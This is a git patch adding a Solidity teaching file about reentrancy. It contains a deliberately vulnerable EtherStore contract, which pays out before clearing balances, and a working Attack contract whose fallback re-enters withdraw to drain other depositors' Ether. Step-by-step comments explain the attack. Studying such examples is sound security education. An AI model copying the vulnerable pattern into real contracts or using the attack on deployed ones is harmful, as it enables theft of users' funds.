From 4a224313e38d626b7828a36646733437e41b7cd2 Mon Sep 17 00:00:00 2001 From: "steinkirch.eth, phd" <1130416+mvonsteinkirch@users.noreply.github.com> Date: Mon, 19 Jun 2023 09:09:23 -0700 Subject: [PATCH] Create reentrancy.sol --- .../reentrancy_attacks/reentrancy.sol | 83 +++++++++++++++++++ 1 file changed, 83 insertions(+) create mode 100644 advanced_expert/vulnerabilities/reentrancy_attacks/reentrancy.sol diff --git a/advanced_expert/vulnerabilities/reentrancy_attacks/reentrancy.sol b/advanced_expert/vulnerabilities/reentrancy_attacks/reentrancy.sol new file mode 100644 index 0000000..8629a31 --- /dev/null +++ b/advanced_expert/vulnerabilities/reentrancy_attacks/reentrancy.sol @@ -0,0 +1,83 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.17; + +/* + +Let's say that contract A calls contract B. + +Reentracy exploit allows B to call back into A before A finishes execution. + +EtherStore is a contract where you can deposit and withdraw ETH. +This contract is vulnerable to re-entrancy attack. +Let's see why. + +1. Deploy EtherStore +2. Deposit 1 Ether each from Account 1 (Alice) and Account 2 (Bob) into EtherStore +3. Deploy Attack with address of EtherStore +4. Call Attack.attack sending 1 ether (using Account 3 (Eve)). + You will get 3 Ethers back (2 Ether stolen from Alice and Bob, + plus 1 Ether sent from this contract). + +What happened? +Attack was able to call EtherStore.withdraw multiple times before +EtherStore.withdraw finished executing. + +Here is how the functions were called +- Attack.attack +- EtherStore.deposit +- EtherStore.withdraw +- Attack fallback (receives 1 Ether) +- EtherStore.withdraw +- Attack.fallback (receives 1 Ether) +- EtherStore.withdraw +- Attack fallback (receives 1 Ether) +*/ + +contract EtherStore { + mapping(address => uint) public balances; + + function deposit() public payable { + balances[msg.sender] += msg.value; + } + + function withdraw() public { + uint bal = balances[msg.sender]; + require(bal > 0); + + (bool sent, ) = msg.sender.call{value: bal}(""); + require(sent, "Failed to send Ether"); + + balances[msg.sender] = 0; + } + + // Helper function to check the balance of this contract + function getBalance() public view returns (uint) { + return address(this).balance; + } +} + +contract Attack { + EtherStore public etherStore; + + constructor(address _etherStoreAddress) { + etherStore = EtherStore(_etherStoreAddress); + } + + // Fallback is called when EtherStore sends Ether to this contract. + fallback() external payable { + if (address(etherStore).balance >= 1 ether) { + etherStore.withdraw(); + } + } + + function attack() external payable { + require(msg.value >= 1 ether); + etherStore.deposit{value: 1 ether}(); + etherStore.withdraw(); + } + + // Helper function to check the balance of this contract + function getBalance() public view returns (uint) { + return address(this).balance; + } +}